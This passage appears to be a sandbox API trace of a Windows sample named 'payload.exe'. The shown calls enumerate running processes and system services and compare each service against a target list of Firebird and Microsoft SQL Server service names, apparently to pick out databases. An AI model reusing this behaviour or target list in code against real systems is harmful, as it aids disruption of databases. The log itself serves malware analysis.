lstrlenW (lpString="genealogy.exe") returned 13 [0038.269] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0038.269] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0038.269] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0038.270] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0038.270] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0038.271] lstrlenW (lpString="expenditure.exe") returned 15 [0038.271] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0038.271] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0038.271] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0038.272] lstrlenW (lpString="upgrading.exe") returned 13 [0038.272] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0038.273] lstrlenW (lpString="conservative.exe") returned 16 [0038.273] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0038.274] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0038.274] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0038.274] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0038.274] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0038.275] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0038.275] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0038.276] lstrlenW (lpString="gods violations duke.exe") returned 24 [0038.276] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.276] lstrlenW (lpString="dllhost.exe") returned 11 [0038.277] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0038.277] lstrlenW (lpString="conhost.exe") returned 11 [0038.277] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0038.278] lstrlenW (lpString="conhost.exe") returned 11 [0038.278] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.278] lstrlenW (lpString="dllhost.exe") returned 11 [0038.278] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.279] lstrlenW (lpString="dllhost.exe") returned 11 [0038.279] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0038.280] lstrlenW (lpString="payload.exe") returned 11 [0038.280] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0038.281] lstrlenW (lpString="cmd.exe") returned 7 [0038.281] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0038.281] CloseHandle (hObject=0x284) returned 1 [0038.281] Sleep (dwMilliseconds=0x1f4) [0039.256] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ceb38 [0039.256] EnumServicesStatusExW (in: hSCManager=0x6ceb38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0039.257] GetLastError () returned 0xea [0039.257] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1c30) returned 0x6efb70 [0039.257] EnumServicesStatusExW (in: hSCManager=0x6ceb38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6efb70, cbBufSize=0x1c30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6efb70, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0039.257] CloseServiceHandle (hSCObject=0x6ceb38) returned 1 [0039.257] lstrlenW (lpString="Appinfo") returned 7 [0039.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0039.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0039.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0039.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0039.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0039.258] lstrlenW (lpString="AppXSvc") returned 7 [0039.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0039.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0039.258] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0039.258] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0039.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0039.258] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0039.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0039.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0039.258] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0039.258] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0039.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0039.258] lstrlenW (lpString="Audiosrv") returned 8 [0039.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0039.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0039.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0039.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0039.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0039.258] lstrlenW (lpString="BFE") returned 3 [0039.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0039.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0039.258] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0039.258] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0039.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0039.258] lstrlenW (lpString="BITS") returned 4 [0039.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0039.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0039.259] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0039.259] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0039.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0039.259] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0039.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0039.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0039.259] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0039.259] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0039.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0039.259] lstrlenW (lpString="CDPSvc") returned 6 [0039.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0039.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0039.259] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0039.259] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0039.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0039.259] lstrlenW (lpString="ClickToRunSvc") returned 13 [0039.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0039.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0039.259] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0039.259] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0039.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0039.259] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0039.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0039.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0039.259] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0039.259] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0039.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0039.259] lstrlenW (lpString="CryptSvc") returned 8 [0039.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0039.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0039.259] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0039.260] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0039.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0039.260] lstrlenW (lpString="DcomLaunch") returned 10 [0039.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0039.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0039.260] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0039.260] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0039.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0039.260] lstrlenW (lpString="DeviceAssociationService") returned 24 [0039.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0039.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0039.260] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0039.260] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0039.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0039.260] lstrlenW (lpString="Dhcp") returned 4 [0039.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0039.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0039.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0039.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0039.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0039.260] lstrlenW (lpString="Dnscache") returned 8 [0039.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0039.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0039.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0039.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0039.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0039.260] lstrlenW (lpString="DPS") returned 3 [0039.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0039.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0039.260] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0039.260] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0039.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0039.261] lstrlenW (lpString="DusmSvc") returned 7 [0039.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0039.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0039.261] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0039.261] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0039.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0039.261] lstrlenW (lpString="EventLog") returned 8 [0039.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0039.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0039.261] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0039.261] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0039.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0039.261] lstrlenW (lpString="EventSystem") returned 11 [0039.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0039.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0039.261] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0039.261] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0039.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0039.261] lstrlenW (lpString="FontCache") returned 9 [0039.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0039.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0039.261] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0039.261] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0039.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0039.261] lstrlenW (lpString="gpsvc") returned 5 [0039.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0039.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0039.261] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0039.261] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0039.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0039.261] lstrlenW (lpString="iphlpsvc") returned 8 [0039.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0039.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0039.262] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0039.262] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0039.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0039.262] lstrlenW (lpString="KeyIso") returned 6 [0039.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0039.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0039.262] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0039.262] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0039.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0039.262] lstrlenW (lpString="LanmanServer") returned 12 [0039.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0039.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0039.262] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0039.262] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0039.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0039.262] lstrlenW (lpString="LanmanWorkstation") returned 17 [0039.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0039.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0039.262] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0039.262] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0039.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0039.262] lstrlenW (lpString="lfsvc") returned 5 [0039.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0039.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0039.262] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0039.262] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0039.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0039.262] lstrlenW (lpString="lmhosts") returned 7 [0039.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0039.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0039.262] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0039.262] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0039.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0039.263] lstrlenW (lpString="LSM") returned 3 [0039.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0039.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0039.263] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0039.263] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0039.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0039.263] lstrlenW (lpString="MpsSvc") returned 6 [0039.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0039.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0039.263] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0039.263] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0039.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0039.263] lstrlenW (lpString="NcbService") returned 10 [0039.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0039.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0039.373] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0039.373] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0039.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0039.373] lstrlenW (lpString="netprofm") returned 8 [0039.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0039.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0039.373] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0039.373] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0039.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0039.373] lstrlenW (lpString="NgcSvc") returned 6 [0039.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0039.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0039.373] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0039.373] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0039.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0039.373] lstrlenW (lpString="NlaSvc") returned 6 [0039.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0039.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0039.373] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0039.373] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0039.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0039.373] lstrlenW (lpString="nsi") returned 3 [0039.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0039.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0039.373] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0039.373] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0039.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0039.373] lstrlenW (lpString="PcaSvc") returned 6 [0039.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0039.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0039.374] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0039.374] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0039.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0039.374] lstrlenW (lpString="PlugPlay") returned 8 [0039.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0039.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0039.374] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0039.374] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0039.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0039.374] lstrlenW (lpString="Power") returned 5 [0039.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0039.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0039.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0039.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0039.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0039.374] lstrlenW (lpString="ProfSvc") returned 7 [0039.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0039.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0039.374] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0039.374] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0039.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0039.374] lstrlenW (lpString="RpcEptMapper") returned 12 [0039.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0039.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0039.374] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0039.374] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0039.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0039.374] lstrlenW (lpString="RpcSs") returned 5 [0039.374] lstrcmpiW 